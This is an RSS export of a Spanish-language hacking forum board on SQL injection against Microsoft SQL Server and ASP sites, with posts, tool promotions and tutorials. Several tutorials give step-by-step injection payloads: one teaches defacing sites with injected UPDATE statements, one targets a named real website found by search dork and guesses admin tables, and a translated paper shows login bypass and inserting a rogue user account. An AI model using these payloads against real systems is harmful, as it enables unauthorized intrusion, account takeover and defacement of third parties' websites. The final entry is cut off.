<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title> - SQL Injection MSSQL </title>
<description></description><link>https://foro.undersecurity.net/list.php?44</link><lastBuildDate>Mon, 06 Sep 2010 11:45:07 -0400</lastBuildDate>
<generator>Phorum 5.2.15a</generator>
<item>
<guid>https://foro.undersecurity.net/read.php?44,7290,7290#msg-7290</guid>
<title>combined using a UNION, INTERSECT or EXCEPT (2 replies)</title><link>https://foro.undersecurity.net/read.php?44,7290,7290#msg-7290</link><description><![CDATA[Bueno haciendo inyecciones en una web con su db MSSQL<br /><br /><pre class="bbcode">
Microsoft OLE DB Provider for SQL Server  error '80040e14'

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

/noticias_detalle.asp, line 63</pre><br /><br />bueno probe dandole<br /><br />noticias_detalle.asp?nro=-3+union+select+1--<br />noticias_detalle.asp?nro=-3+union+all+select+1--<br /><br />y nada aver si alguien me puede ayudar gracias]]></description>
<dc:creator>s4kg3t</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Tue, 01 Jun 2010 05:16:26 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,7031,7031#msg-7031</guid>
<title>MSSQL Injection Helper (8 replies)</title><link>https://foro.undersecurity.net/read.php?44,7031,7031#msg-7031</link><description><![CDATA[I would like to introduse my program <b><span style="color:YellowGreen">MSSQL Injection Helper</span> </b> for processing and dumping MS-SQL injections. You can make data extraction using several methods which increases your chances.<br /><br />Program works without any installation, just extract in any place on your disk and it's ready.<br />At the moment I have only Russian manual, but I do all my best to translate it into English ASAP.<br />If you have any bags or problems with this program just post your comments here.<br />Program is <span style="color:YellowGreen"><b>shareware</b></span>. In free version all options are available execpt you cannot save results of your work on file. If you like use full options you just need to buy full license from me, which is costs you <span style="color:YellowGreen"><b>7 USD</b></span>. Not much money, just to support my project.<br />If you bought license once so all next updates will be free for you.<br /><br />At the moment program supports 2 languages: Russian and Enlish. If someone can help me to translate it into other languages just let me know. I give you full license for this help.<br /><br /><span style="color:YellowGreen"><b>Version 1.0<br />Release date: 19.03.2010<br />Platform: Windows </b></span><br /><br /><a href="http://imageshost.ru/links/c3262b2b3d8af6e835c86f7348dd36f2" target="_blank" rel="nofollow" ><img src="http://img9.imageshost.ru/imgs/100415/6da8b0c1dc/t9d6d5.png" class="bbcode" border="0" /></a><br /><br /><a href="http://depositfiles.com/files/xj7n7va7p" target="_blank" rel="nofollow" >Download Version 1.0</a><br /><a href="http://depositfiles.com/files/fmc1imtqa" target="_blank" rel="nofollow" >Russian manual for Version 1.0</a><br /><a href="http://depositfiles.com/files/gavb988bz" target="_blank" rel="nofollow" >Tutorial video for Version 1.0 (12Мб)</a><br /><br /><span style="color:Yellow">************************************************************************</span><br /><span style="color:YellowGreen"><b>Version 1.1<br />Release date: 15.04.2010<br />Platform: Windows</b></span><br /><br /><a href="http://imageshost.ru/links/cedc069e4f6bd27cc2fc6240c32b34a2" target="_blank" rel="nofollow" ><img src="http://img9.imageshost.ru/imgs/100415/2df790855e/t8af22.gif" class="bbcode" border="0" /></a><br /><br /><br /><span style="color:YellowGreen"><b>What's new:</b></span><br /><b>1)</b> Supports 2 languages now.<br /><b>2)</b> More friendly interface.<br /><b>3)</b> Ranging program window depending on screen resolution.<br /><b>4)</b> Now you can sort columns before dumping.<br /><b>5)</b> Now dumping results showing on table instead of text field.<br /><br /><a href="http://depositfiles.com/files/lnrof2hsi" target="_blank" rel="nofollow" >Download Version 1.1 (1.4Мб)</a>]]></description>
<dc:creator>llevackll99</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Mon, 14 Jun 2010 08:53:19 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,6890,6890#msg-6890</guid>
<title>Inyección de código SQL en MS SQL Server 2005 | HackTimes (no replies)</title><link>https://foro.undersecurity.net/read.php?44,6890,6890#msg-6890</link><description><![CDATA[<a href="http://www.exploit-db.com/download_pdf/11418" target="_blank" rel="nofollow" >http://www.exploit-db.com/download_pdf/11418</a>]]></description>
<dc:creator>seth</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Fri, 26 Mar 2010 16:23:52 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,6239,6239#msg-6239</guid>
<title>Inyecciones en Base de Datos MSSQL (2 replies)</title><link>https://foro.undersecurity.net/read.php?44,6239,6239#msg-6239</link><description><![CDATA[Inyecciones en paginas ASP<br /><br /><br /><br />Autor:El Gran Guason<br /><br /><br /><br /><br />Indice:<br /><br /><br /><br />0x01:Introduccion<br />0x02:Verificar vulnerabilidad<br />0x03:Sacar tablas y columnas<br />0x04:Actualizar columnas<br />0x06:Despedida<br /><br /><br /><br /><br /><br />0x01:Introduccion<br /><br /><br />Hola a todos , hoy les voy a enseñar a realizar inyecciones en paginas ASP en contra de la base de<br />datos MsSQL. Yo creo que con esta base de datos tenemos menos opciones que con la<br />mysql pero esta es mas facil de atacar.<br /><br /><br /><br />0x02:Verificar vulnerabilidd<br /><br /><br />Ok , para verificar la vulnerabilidad solo hay que agregarle un ' despues del ?id= u otra variable<br />Vamos a tomar un ejemplo mi web local aunque realmente no mi amado easy php no soporta esta<br />base de datos y no pienso descargar nada ahora.<br /><br />http://127.0.0.1/index.asp?id=<br /><br /><br />Si esta pagina es vulnerable deberia darnos un error cuando realizamos esta consulta<br /><br />http://127.0.0.1/index.asp?id=' having 1=1--<br /><br /><br />Error:<br /><br /><pre class="bbcode">
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'F_CTexto_1.CTe_Titulo' is invalid in the select list becouse it is not contained in either an
agregate  function on the GROUP BY clause.
/visualizaciones/ctexto.asp,line 17</pre><br /><br />Si vemos esto en un pagina quiere decir que es vulnerable y ademas nos esta regalando dos datos<br />esenciales que veremos en el siguiente punto.<br /><br /><br /><br />0x03:Sacar tablas y columnas<br /><br /><br />Ok , para sacar columnas obviamente conociendo el nombre de la tabla tenemos que tener en cuenta los errores que no tira el servidor web.<br /><br /><br />Error:<br /><br /><pre class="bbcode">
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'F_CTexto_1.CTe_Titulo' is invalid in the select list becouse it is not contained in either an
agregate  function on the GROUP BY clause.
/visualizaciones/ctexto.asp,line 17</pre><br /><br /><br />De todo este error podemos deducir los siguientes datos:<br /><br /><br /><pre class="bbcode">
Tabla: F_CTexto_1
Columna : CTe_Titulo</pre><br /><br /><br />Ok , teniendo esto podemos seguir sacando el nombre de las columnas mediante la siguiente sentencia..............<br /><br /><br />http://127.0.0.1/index.asp?id=' group by CTe_Titulo having 1=1--<br /><br /><br />Este error no va tirar si es que escribieron bien la sentencia y es vulnerable , el siguiente error:<br /><br /><br /><pre class="bbcode">
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'F_CTexto_1.IdCTexto' is invalid in the select list becouse it is not contained in either an
agregate  function on the GROUP BY clause.
/visualizaciones/ctexto.asp,line 17</pre><br /><br /><br /><br />Nice , en este error podemos ver el nombre otra columna que vendria a ser &quot;IdCTexto&quot;.<br />Pero como esta no me interesa seguimos sacando de la siguiente manera :<br /><br /><br />http://127.0.0.1/index.asp?id=' group by CTe_Titulo,IdCTexto having 1=1--<br /><br /><br />Y logramos sacar<br /><br /><br /><pre class="bbcode">
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'F_CTexto_1.CTe_Descripcion' is invalid in the select list becouse it is not contained in either an agregate  function on the GROUP BY clause.
/visualizaciones/ctexto.asp,line 17</pre><br /><br />Y asi sucesivamente seguimos sacando todas las columnas hasta que las hayamos visto todas...............<br /><br /><br /><br /><br />0x04:Actualizar columnas<br /><br /><br />Si queremos dejar nuestro nick en la web atacada tendremos que actualizar las columnas importantes como por ejemplo , las que abarquen un titulo o contenido de la web........<br />En nuestro con los siguientes errores vamos a hacer asi<br /><br /><br />http://127.0.0.1/index.asp?id=' update tabla set columna='HACKED BY EL GRAN GUASON'--<br /><br />Donde : tabla = la tabla conocida<br />columna = columna de la tabla a actualizar o dejar el nick<br /><br /><br />Quedando asi:<br /><br /><br />http://127.0.0.1/index.asp?id=' update F_CTexto_1 set CTe_Descripcion='HACKED BY GUASON'--<br /><br />Entonces con esto la pagina llevaria nuestro texto &quot;HACKED BY GUASON&quot; quedando simplemente<br />defaceada..............................<br /><br /><br /><br /><br />0x06:Despedida<br /><br /><br />Bueno esto es todo lo que se sobre inyecciones en paginas asp , espero que les haya gustado sino<br />ftirense de un piso 20....................]]></description>
<dc:creator>Guason</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Sun, 24 Jan 2010 12:45:22 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,5324,5324#msg-5324</guid>
<title>algun tutorial en inyecion a pag asp y net ? (2 replies)</title><link>https://foro.undersecurity.net/read.php?44,5324,5324#msg-5324</link><description><![CDATA[bueno amigos,,, algun tutorial q sirba como guia para las pag en asp ? video . ectectect xD]]></description>
<dc:creator>Xl1nuX</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Thu, 19 Nov 2009 12:47:52 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,3650,3650#msg-3650</guid>
<title>[Video] MsSQL Injection[Video] (5 replies)</title><link>https://foro.undersecurity.net/read.php?44,3650,3650#msg-3650</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/20475/screenshot_184_PHm09O.png" class="bbcode" border="0" /><br /><a href="http://www.geocities.com/asbmay_video/MsSQL-Injection.zip" target="_blank" rel="nofollow" >Download</a><br /><br /><a href="http://forum.darkc0de.com/index.php?action=vthread&amp;forum=19&amp;topic=8789" target="_blank" rel="nofollow" >Fuente</a><br /><br /><br /><hr class="bbcode"/><br />Buen Video donde muestran como explotar Una injeccion en MSSQL, Having , Convert(int, y peticiones a information_schema.]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Wed, 04 Nov 2009 11:29:56 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,2905,2905#msg-2905</guid>
<title>Incident Handlers Guide to SQL Injection Worms (no replies)</title><link>https://foro.undersecurity.net/read.php?44,2905,2905#msg-2905</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/17310/screenshot_078_W2g1t7.png" class="bbcode" border="0" /><br /><br />Incident Handlers Guide to SQL Injection Worms: bajo este título se encuentra un documento que explica en bastante profundidad la anatomía y forma de este tipo de amenazas, que si bien nunca han tenido un auge muy significativo, si resultan interesantes a nivel técnico<br /><br /><a href="http://www.sans.org/reading_room/whitepapers/incident/rss/incident_handlers_guide_to_sql_injection_worms_33133" target="_blank" rel="nofollow" >Descargar</a><br /><br /><a href="http://www.securitybydefault.com/" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Sat, 27 Jun 2009 16:55:28 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,2152,2152#msg-2152</guid>
<title>¿Como Bypasear un Login de usuario y contraseña en MSSQL? (1 reply)</title><link>https://foro.undersecurity.net/read.php?44,2152,2152#msg-2152</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/15720/screenshot_007_5rFVEn.png" class="bbcode" border="0" /><br /><br /><br /><a href="http://www.govannom.org/seguridad/1-seguridad-webcgi/75-vulnerabilidad-sql-injection.pdf" target="_blank" rel="nofollow" ><b><span style="color:#FF0000">Download</span></b></a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Sat, 06 Jun 2009 01:23:07 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,2149,2149#msg-2149</guid>
<title>Manipulating Microsoft SQL Server Using SQL Injection (no replies)</title><link>https://foro.undersecurity.net/read.php?44,2149,2149#msg-2149</link><description><![CDATA[<img src="http://www.ubuntu-pics.de/bild/15716/screenshot_004_PjkED5.png" class="bbcode" border="0" /><br /><br /><b>Temas :</b><br /><br /><pre class="bbcode">
DETECTION OF SQL INJECTION VULNERABILITIES
RETRIEVING RESULTS FROM SQL INJECTION
ELEVATING PRIVILEGES
UPLOADING FILES
GETTING INTO THE INTERNAL NETWORK
PORT SCANNING</pre><br /><br /><a href="http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf" target="_blank" rel="nofollow" ><b><span style="color:#FF0000">Download</span></b></a><br /><br />Saludos¡<br />Oz¡]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Fri, 05 Jun 2009 12:36:49 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,1673,1673#msg-1673</guid>
<title>MSSQL jet DB Injection paper (6 replies)</title><link>https://foro.undersecurity.net/read.php?44,1673,1673#msg-1673</link><description><![CDATA[<pre class="bbcode">
MSSQL injection guide 
Written by: xterminal 
 
I did'nt find any good MSSQL injection guide, so idecided to write what i know so far about MSSQLi, ... tests will be 
the tests on real hosts ... so lets start! 
 
Step 1: 
------ 
 
Good dork: site:.org inurl:.asp?id= 
			  site:.com inrul:.aspx?= 
			  site:.co.uk inurl:.asp?cid= 
			  Or you can figure out your own dork. 
Step 2: 
------- 
 
Lets say we found this http://www.expo-centre.ae we will crawl around it until we get to this 
http://www.expo-centre.ae/en/pressread.asp?id=563 
We should see normal page is on. i will to put single quote and see what we could come up with, the resultant URL is 
http://www.expo-centre.ae/en/pressread.asp?id=563' 
Now you should see and error like this, 
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'id=563' ;'. 
/en/includes/configdb.asp, line 23 
 
the error msg on the second like says that we have great chance to inject here, so we proceed with the 1+and+1 test, 
http://www.expo-centre.ae/en/pressread.asp?id=563+AND+1=1# 
 
NOTE: 
---- 
In asp we will use the # for commenting the rest of the query instead of -- or /* . 
If you got an error says type mismatch like Cint or string something, we can figure out that the input is being checked 
for data type. if you insising you should find a site that accepts both int and chat in the input. 
 
Now we are going to use AND+1=0# 
http://www.expo-centre.ae/en/pressread.asp?id=563+AND+1=0# 
if you got incomplete page on or such and error on, 
 
ADODB.Field error '800a0bcd' 
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record. 
/en/pressread.asp, line 44 
 
Now we need to find the column number, for that we will use ORDER BY command Again :) 
 
Microsoft OLE DB Provider for ODBC Drivers error '80004005' 
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '10' as a valid field name or expressi 
on. 
/en/includes/configdb.asp, line 23 
 
that error like our MySQL error Unknow Column '10'. we will keep on decreasing untill we are on the correct number. 
for out example that should be ... 7 :) 
http://www.expo-centre.ae/en/pressread.asp?id=563+AND+1=0+UNION+ALL+SELECT+1,2,3,4,5,6,7# 
at this point you should see another error, 
 
Microsoft OLE DB Provider for ODBC Drivers error '80004005' 
[Microsoft][ODBC Microsoft Access Driver] Query input must contain at least one table or query. 
/en/includes/configdb.asp, line 23 
 
the query will not execute. because the query needs an existing table to successfully execute, we will keep guessing 
until we get existing table, otherwise we will get this error: 
 
Microsoft OLE DB Provider for ODBC Drivers error '80040e37' 
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'dmin'. Make sure it 
 exists and that its name is spelled correctly. 
/en/includes/configdb.asp, line 23 
 
that error means the table used does not exist, possible tables that works most of the time are; 
 
user 
users 
admin 
login 
news 
sysobjects 
customers 
.... 
 
Our example will be happy with table admin and .... 
http://www.expo-centre.ae/en/pressread.asp?id=563+AND+1=0+UNION+ALL+SELECT+1,2,3,4,5,6,7+from+admin# 
you should still seeing error ignore it and look up besides the 'PRESS RELEASES &gt;' you should see number 4 
at this point i think you guys can find out about columns names ...etc. 
 
Step 3: 
------ 
You can find the columns names by using HAVEING BY, for example 
HAVING 1=1 -- 
GROUP BY table.columnfromerror1 HAVING 1=1 -- 
GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -- 
GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and on and on ... 
 
THAT WILL BE ALL... 
I HOPE THE PAPER WAS HELPING! :)</pre><br /><a href="http://forum.darkc0de.com/index.php?action=vthread&amp;forum=19&amp;topic=5543" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Tue, 26 May 2009 15:27:02 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,1349,1349#msg-1349</guid>
<title>SFX-SQLi (Select For XML SQL injection) (3 replies)</title><link>https://foro.undersecurity.net/read.php?44,1349,1349#msg-1349</link><description><![CDATA[<b>¿Qué es SFX-SQLi?</b><br /><br />SFX-SQLi (Select For XML SQL injection) es una nueva técnica de inyección SQL que permite extraer toda la información de una base de datos de Microsoft SQL Server 2005/2008 de una forma extremadamente rápida y eficiente.<br /><br />Esta técnica se basa en el uso de la cláusula FOR XML, capaz de convertir el contenido de una tabla en una única cadena de texto, de forma que se pueda anexar su contenido en algún campo inyectando una subconsulta en una entrada vulnerable de una aplicación web.<br /><br /><a href="http://www.kachakil.com/papers/SFX-SQLi-Paper-es.pdf" target="_blank" rel="nofollow" ><span style="color:#FF0000"><b>Descargar Pdf</b>[ (Español)</span></a><br /><a href="http://packetstormsecurity.nl/papers/database/SFX-SQLi-Paper-en.pdf" target="_blank" rel="nofollow" >Mas Info (Ingles)</a><br /><br /><br /><br /><a href="http://www.kachakil.com/papers/SFX-SQLi-es.htm" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Tue, 07 Apr 2009 19:58:18 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,1227,1227#msg-1227</guid>
<title>Tutorial SQL un pelo distinto! (no replies)</title><link>https://foro.undersecurity.net/read.php?44,1227,1227#msg-1227</link><description><![CDATA[Aquí os dejo una traducción que me curré de un texto que encontré hace un tiempo y que está divertido:<br /><br /><b>Introducción</b><br /><br />Este documento describe como comprometer la información de un Web Server de Microsoft Internet information que utiliza una base de datos SQL. El documento asume que la aplicación web usa la tecnología de &quot;Active Server Pages&quot; con ADO (Active Data Objects), aunque la misma técnica puede usarse con otras tecnologías. Las técnicas aquí descritas pueden ser usadas para desensamblar la estructura de la base de datos SQL, saltarse las páginas de login y conseguir o modificar datos. El documento también asume que los atacantes pueden correr códigos SQL arbitrarios, lo que por desgracia es demasiado común debido a la falta de comprensión o a una completa ignorancia de este problema y las consecuentes técnicas de codificación en una página ASP. Consideremos por ejemplo el siguiente código ASP de una página de login:<br /><pre class="bbcode">&lt;%@ LANGUAGE=&quot;VBSCRIPT&quot; %&gt;
&lt;%
Dim oCONv, oRSu
Set oCONv = Server.CreateObject(&quot;ADODB.Connection&quot;)
oCONv.Open &quot;DRIVER={SQL Server};SERVER=aeneas;UID=sa;PWD=;DATABASE=paper&quot;


Set oRSu = oCONv.Execute(&quot;SELECT * FROM tblUsers WHERE username = '&quot; &amp; Request.Querystring(&quot;UserID&quot;) &amp; &quot;' AND password = '&quot; &amp; Request.Querystring(&quot;Password&quot;) &amp; &quot;'&quot;) 
if not oRSu.EOF then
       Session(&quot;UserID&quot;) = oRSu (&quot;username&quot;)
           Response.Redirect &quot;loginsucceeded.asp&quot;      
   else
           Response.Redirect &quot;loginfailed.asp&quot;
   end if

%&gt;</pre><br />Hay varios problemas con esta página pero antes de llegar a ellos vamos a examinar cómo funciona. El cliente introduce un usuario y contraseña, que son pasados a una petición SQL, que es luego ejecutada. Si el usuario y la clave existen el la tabla tblUsers la respuesta del servidor SQL contendrá datos. Si el usuario y/o la clave no existen entonces el registro no contendrá datos. El código ASP mira entonces si la respuesta contiene datos o no redirigiendo luego a loginsucceded.asp o a loginfailed.asp respectivamente.<br /><br />Como ya se ha dicho hay múltiples problemas con esta página ASP - hay un login y un password SQL en el código, ese login resulta que es la cuenta con más permisos en la base de datos y su clave es todavía nula. Debido al hecho de que la ID proporcionada y la clave pasan directamente a la petición SQL sin ser antes saneadas, permite a un atacante saltarse la página de login. Todo lo que tendría que hacer es hacer que la respuesta sea verdadera y para hacerlo, sin conocer un usuario válido o password, se hace la siguiente petición:<br /><pre class="bbcode">http://server/login.asp?userid='%20or%201=1--</pre><br />En vez de ejecutar la petición que debería:<br /><pre class="bbcode">SELECT * FROM tblUsers WHERE username = 'foo' AND password = 'bar'</pre><br />ejecutó:<br /><br /><pre class="bbcode">SELECT * FROM tblUsers WHERE username = '' or 1=1--</pre>
Debido a la inserción del &quot;or&quot; la petición siempre es verdadera evaluando los registros con lo que el atacante estaría logueado.<br /><br />La razón por la que la petición SQL ha sido modificada es por la ' en el parámetro (usuario). En SQL las peticiones están delimitadas por comillas simples. Añadir el -- al final de la petición evita que el SQL se queje de las comillas sin cerrar (unclosed quote marks o parecido). Esta página es fácil saltársela usando esta técnica.<br /><br /><b>Introducción Extendida</b><br /><br />Si el código fuera modificado de tal manera que hubiera un UPDATE después para, por ejemplo, &quot;controlar&quot; información, esta técnica del &quot;or&quot; fallaría:<br /><pre class="bbcode">&lt;%
Dim oCONv, oRSu
Set oCONv = Server.CreateObject(&quot;ADODB.Connection&quot;)
oCONv.Open &quot;DRIVER={SQL Server};SERVER=aeneas;UID=sa;PWD=;DATABASE=paper&quot;


Set oRSu = oCONv.Execute(&quot;SELECT * FROM tblUsers WHERE username = '&quot; &amp; Request.Querystring(&quot;UserID&quot;) &amp; &quot;' AND password = '&quot; &amp; Request.Querystring(&quot;Password&quot;) &amp; &quot;'&quot;) 
if not oRSu.EOF then
	Session(&quot;UserID&quot;) = oRSu (&quot;username&quot;)
      	Set oRSu = oCONv.Execute(&quot;exec sp_audit '&quot; &amp; Request.Querystring(&quot;UserID&quot;) &amp; &quot;'&quot;)

           Response.Redirect &quot;loginsucceeded.asp&quot;      
   else
           Response.Redirect &quot;loginfailed.asp&quot;
   end if

%&gt;</pre><br />Como se puede ver el código ahora tiene una petición &quot;exec sp_audit&quot; con lo que si usamos la misma petición con la técnica del &quot;or&quot; el servidor nos devuelve el siguiente error:<br /><pre class="bbcode">Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'. 
/login.asp, line 11</pre><br />La razón por la que esto ocurre es porque las peticiones SQL que ejecutan un procedimiento almacenado no pueden ser condicionales y el &quot;or&quot; hace que si lo sea. En este punto el login ha fallado y asumiendo que el atacante no tiene acceso al código fuente del ASP, puede saltarse este llogin?<br /><br /><b>Entramos en harina</b><br /><br />Para poder saltarnos el login tenemos que desensamblar la aplicación y para hacer esto usaremos los mensajes de los errores ODBC. El atacante empezaría con una petición tal que así:<br /><pre class="bbcode">http://127.0.0.1/login.asp?userid=aaa'</pre><br />Percátate, oh audaz lector, de que hay una comilla al final de la URL. Esto nos daría el siguiente error:<br /><pre class="bbcode">Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string 'aaa' AND password = ''. 
/login.asp, line 7</pre><br />Lo que ha hecho esto es dar al atacante un fragmento de la petición embebida en la página ASP -&quot;AND password=&quot;. También informa al atacante que una de las columnas de la tabla se llama &quot;password&quot;. Sabiendo esto es posible enumerar la estructura de la tabla donde están guardados los credenciales de usuario, averiguando su nombre y el de todas las columnas de la tabla. Se comenzaría por hacer la siguiente petición:<br /><pre class="bbcode">http://127.0.0.1/login.asp?userid=ddd'%20group%20by%20(password)--</pre><br />Lo que nos da el siguiente mensaje de error:<br /><pre class="bbcode">Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'tblUsers.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 
/login.asp, line 7</pre><br />Como se puede ver el atacante tiene ahora el nombre de la tabla -tblUsers- y el de otra columna en la misma -username-. Entonces haría la siguiente petición:<br /><pre class="bbcode">http://127.0.0.1/login.asp?userid=aaa'%20group%20by%20(username)--</pre><br />que produce:<br /><pre class="bbcode">Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'tblUsers.lastloggedin' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 
/login.asp, line 7</pre><br />Ahora el atacante tiene el nombre de la tercera columna. Este proceso se repite sustituyendo el nombre de la columna en el &quot;group by&quot; para ir por la tabla enumerando todas las columnas. Pero cómo saber cuando han sido enumeradas todas las columnas?<br /><br />Asumiendo que el código hace un &quot;SELECT * ...&quot; si usamos UNION el atacante podría sacar el número de columnas que contiene la tabla tblUsers<br /><br /><pre class="bbcode">http://127.0.0.1/login.asp?userid=aaa'%20union%20select%20username%20from%20tblusers--</pre>
Esta petición nos daría el siguiente error:<br /><pre class="bbcode">Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. 
/login.asp, line 7</pre><br />El atacante iría añadiendo &quot;usernames&quot; a la URL <pre class="bbcode">http://127.0.0.1/login.asp?userid=aaa'%20union%20select%20username,username%20from%20tblusers--</pre>
hasta que parase el mensaje de error. En ese punto contando el número de usernames en la petición nos daría el número de columnas que existen en la tabla tblUsers.<br /><br />Una vez tenemos una lista de todos los nombres de las columnas, el atacante necesitaría sacar el tipo de datos que cada columna necesita. Para hacer esto la clausula COMPUTE va a ser usada, utilizando cada columna como argumento:<br /><br /><pre class="bbcode">http://127.0.0.1/login.asp?userid=aaa'%20compute%20sum(username)--</pre>
lo que nos da el siguiente error:<br /><pre class="bbcode">Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a nvarchar data type as an argument. 
/login.asp, line 7</pre><br />Como se puede ver &quot;username&quot; es del tipo nvarchar. Una vez se han hecho todos estos pasos el atacante conoce el nombre de la tabla, todas las columnas y sus respectivos tipos. Estos tres detalles son cruciales si el atacante quisiera insertar (INSERT INTO) o actualizar (UPDATE) la tabla y para saltarse el login haría falta.<br />El atacante crearía su propia cuenta usando el INSERT:<br /><pre class="bbcode">http://127.0.0.1/login.asp?userid=aaa' insert into tblusers(username,password,lastloggedin,status) values ('jsmith','secret','Oct 31 2000  8:52PM','foo')--</pre><br />Hacer esta petición no devolvería un error - para ver si ha tenido éxito el atacante intentaría loguearse con el nombre de usuario &quot;jsmith&quot; y el password &quot;secret&quot;. Puede que esto tenga éxito. De cualquier manera, imaginemos que recibe un mensaje que dice que la cuenta está bloqueada. Observa que en la URL de arriba (eliminados los %20 en pos de la claridad) una de las columnas se llama &quot;status&quot; - y se insertó el valor &quot;foo&quot;. Podemos asumir que si la cuenta estuviera bloqueada, sería esta columna la que tendría información a este respecto. El atacante necesitaría poner este valor a aquello que la aplicación espera para que no considere la cuenta bloqueada. Pero, ¿cómo sabría el atacante qué insertar en este campo? No podrían, pero si consiguieran actualizarlo con el valor que tiene otro usuario esto debería darle a la aplicación lo que espera para que la cuenta no esté bloqueada.<br /><br />El problema con esto esta en conseguir un set de resultados con sólo una fila. Esto se puede hacer usando funciones agregadas -MIN y MAX. La petición sería similar a:<br /><br /><pre class="bbcode">http://127.0.0.1/login.asp?userid=aaa' UPDATE tblusers SET status = (select min(status) from tblusers) where username = 'jsmith'</pre><br />Esta petición produciría una fila en el recordset y actualizaría el valor de &quot;status&quot; de jsmith con el de la fila que en la evaluación produjo el menor de los valores.<br /><br />Habiendo ido todo como había sido planeado, nuestro aguerrido atacante ha conseguido saltarse la página de login.<br /><br /><b>Fuente:</b> <u>http://www.atstake.com</u><br /><b>Texto original</b>: www.ngssoftware.com/papers/webappdis.doc<br /><br />Saludos!<br /><br /><a href="http://foro.elhacker.net/hacking_avanzado/tutorial_sql_un_pelo_distinto-t167852.0.html" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Tue, 24 Mar 2009 21:55:46 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,1079,1079#msg-1079</guid>
<title>Información MSSQL (1 reply)</title><link>https://foro.undersecurity.net/read.php?44,1079,1079#msg-1079</link><description><![CDATA[No sé muy bien donde colocar esto. El caso es que esta tarde, mientras investigaba un poco sobre como ejecutar comandos en la xp_cmdshell, he ido a parar a una pagina con bastante información sobre bases de datos MSSQL. Os pongo la página:<br /><br />http://www.sqlmax.com/centro/programa.asp?MX=<br /><br />Enjoy ^^]]></description>
<dc:creator>SH4V</dc:creator>
<category>SQL Injection MSSQL </category><pubDate>Wed, 11 Mar 2009 20:24:48 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?44,893,893#msg-893</guid>
